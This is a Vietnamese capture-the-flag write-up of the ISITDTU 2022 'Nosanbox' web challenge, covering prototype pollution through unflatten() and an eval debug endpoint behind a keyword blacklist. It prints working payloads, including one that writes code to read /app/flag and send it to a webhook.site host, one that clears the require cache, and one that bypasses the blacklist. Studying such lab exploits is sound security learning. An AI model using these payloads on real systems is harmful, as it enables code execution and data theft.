[CTF] (ISITDTU QUALS - 2022) Web Category - Nosanbox (Write up)

[CTF] (ISITDTU QUALS - 2022) Web Category - Nosanbox (Write up)

·

5 min read

Nosanbox

Source code challenge: drive.google.com/drive/folders/1EIN83exu1dP..

Phần code đáng chú ý:

const path              = require('path');
const express           = require('express');
const { unflatten }     = require('flat');
const router            = express.Router();
const fs = require('fs');
router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});
router.get('/debug', (req, res) => {
    console.log(req.query.debug)
    let blacklist = ["req.","body","query","eval","child_process","\"",";","_","proto","constructor","+","req[","global","module","exec","concat","fs","\\"] // hope this enough for secure this app
    if(req.query.debug.length >50 || blacklist.some(e=>req.query.debug.includes(e))){
        console.log("cc");
        return res.json({"res":"not allow"})
    }
    //try{
        eval(req.query.debug)
    //catch{
        //console.log("error")}    
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { artist } = unflatten(req.body);
    var options = {}
    require("./demo.js");
    let auth = req.session.auth;

    if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
        let data = options.data || "console.log('note');";
        fs.writeFileSync("./routes/demo.js",data);    
        return res.json({
            'response': 'thank you'
        });
    } else {
        return res.json({
            'response': 'Please provide us with the full name of an existing member.'
        });
    }
});

module.exports = router;

Bài này có 2 cách giải. Lúc đầu, tôi giải bằng cách khai thác Prototype Pollution. Nếu như cách của tôi khá loằng ngoằng và dài dòng thì sau cuộc thi tôi biết được có 1 cách giải rất đơn giản và ngắn gọn.

Cách 1

Đây là cách mà tôi dùng, đó là khai thác lỗi Prototype Pollution thông qua API POST /api/submit.

Source là phần body của POST request. Sink là hàm unflatten().

Về hàm unflatten(), hàm này được gọi ra từ thư viện cùng tên. Tôi cũng không biết có thuật ngữ chuyên ngành nào để nói về tác dụng của hàm này, nhưng đại khái nó cho phép bạn tạo ra 1 nested object. Đoạn code bên dưới mô tả về cách hoạt động của nó.

const unflatten = require('unflatten')
unflatten({
  'a.b.c': 'd'
})
/*
{
  a: {
    b: {
      c: 'd'
    }
  }
}
*/

Ở đây ta có thể thấy unflatten() là 1 hàm nguy hiểm có thể dẫn đến lỗi Prototype Pollution.

Các bước để thực hiện:

Bước 1:

Ý tưởng: pollute thuộc tính data của Object.prototype để ghi code javascript vào file demo.js

Gọi tới API POST /api/submit với Header là Content-Type: application/json và body là payload sau:

{"artist":{"name":"Westaway"},"__proto__.data":"require('https').get('https://webhook.site/69c9a416-27e5-4620-a6cc-9583307ce699?flag='+(require('fs').readFileSync('/app/flag','utf8')))"}

image.png

router.post('/api/submit', (req, res) => {
    const { artist } = unflatten(req.body);
    var options = {}
    require("./demo.js");
    let auth = req.session.auth;

    if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
        let data = options.data || "console.log('note');";
        fs.writeFileSync("./routes/demo.js",data);    
        return res.json({
            'response': 'thank you'
        });
    } else {
        return res.json({
            'response': 'Please provide us with the full name of an existing member.'
        });
    }
});

Payload này cho phép bypass khối if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) do nó sẽ tạo ra object artist với property name với nội dung Westaway.

Sau đó phần nó sẽ pollute vào Object base (hay Object.prototype) để tạo thêm thuộc tính data với nội dung require('https').get('https://webhook.site/69c9a416-27e5-4620-a6cc-9583307ce699?flag='+(require('fs').readFileSync('/app/flag','utf8')))

Đây là nội dung file demo.js khi chưa bị polluted (tôi dựng lại Docker Container trên môi trường local và thực hiện ssh vào container để kiểm chứng)

image.png

Đây là nội dung file demo.js khi bị polluted:

image.png

Lý do nội dung file demo.js bị biến đổi 2 dòng sau:

let data = options.data || "console.log('note');";
fs.writeFileSync("./routes/demo.js",data);

Khi gửi payload trên ta đã pollute được thuộc tính data, do đó khi object options kế thừa thuộc tính datadata đã bị chúng ta thao túng.

Bước 2:

Ta thấy trong hàm xử lý API POST /api/submit có hàm require("./demo.js"); mà thông qua đoạn này ta có thể thực thi được đoạn code javascript require('https').get('https://webhook.site/69c9a416-27e5-4620-a6cc-9583307ce699?flag='+(require('fs').readFileSync('/app/flag','utf8'))) mà ta ghi vào file demo.js.

Tuy nhiên khi ta gọi hàm require("./demo.js"); thì ta nhận được nội dung của module routes/demo.js, lúc này nội dung đó là console.log("ISITDTU CTF").

NodeJS có cơ chế cache phần nội dung này trong module routes/index.js để đến khi lần sau khi module routes/demo.js gọi lại ở trong module routes/index.js thì nó sẽ không mất công load lại nội dung của module routes/demo.js nữa.

Xem thêm về cơ chế này: freecodecamp.org/news/requiring-modules-in-..

Do đó các lần sau gọi lại thì nội dung vẫn là console.log("ISITDTU CTF"). Và chúng ta không muốn điều này.

Ở đây ta muốn xóa phần cache này đi nhằm mục đích cho module route/index.js load nội dung mới là require('https').get('https://webhook.site/69c9a416-27e5-4620-a6cc-9583307ce699?flag='+(require('fs').readFileSync('/app/flag','utf8'))).

Ta có thể thực hiện xóa cache bằng cách lợi dụng lý API GET /debug khi mà ở đó có hàm eval() cho phép chạy code Javascript.

router.get('/debug', (req, res) => {
    console.log(req.query.debug)
    let blacklist = ["req.","body","query","eval","child_process","\"",";","_","proto","constructor","+","req[","global","module","exec","concat","fs","\\"] // hope this enough for secure this app
    if(req.query.debug.length >50 || blacklist.some(e=>req.query.debug.includes(e))){
        console.log("cc");
        return res.json({"res":"not allow"})
    }
    //try{
        eval(req.query.debug)
    //catch{
        //console.log("error")}    
    return res.sendFile(path.resolve('views/index.html'));
});

Lúc này, source là phần query param /debug?debug=, sink là eval(). Đoạn code mà ta muốn chạy:

delete require.cache['/app/routes/demo.js']

Ta gửi payload sau tới API GET /debug:

/debug?debug=delete%20require.cache[%27/app/routes/demo.js%27]

image.png

Xóa cache thành công.

Bước 3:

Đến giai đoạn này nội dung của module demo.js đã được load và trở thành đoạn code javascript mà ta muốn thực thi. Lúc này chỉ cần trigger đoạn code đó bằng cách gọi vào API POST /api/submit thêm 1 lần nữa.

image.png

Trigger thành công đoạn code, flag được gửi vào server webhook của tôi.

image.png

Có thể thấy flag trên server tương đồng với flag được gửi vào server webhook.

image.png

Cách 2

Đây là cách mà tôi biết được sau cuộc thi, thật đơn giản và ngắn gọn.

Gửi payload sau tới API GET /debug:

/debug?debug=res.sendFile(path.resolve(%27flag%27))

Flag:

image.png

Khi đọc được đoạn payload này tôi nhận ra mình đã đánh giá quá cao đoạn filter blacklist (tôi nhìn sơ sơ qua và bỏ qua liền vì nghĩ không cách nào khai thác được) và cũng 1 phần do tôi từng đọc về hàm unflatten() dẫn đến prototype pollution nên chỉ chăm chăm vào khai thác lỗi này mà lại bỏ qua edge case có thể bypass đoạn filter blacklist.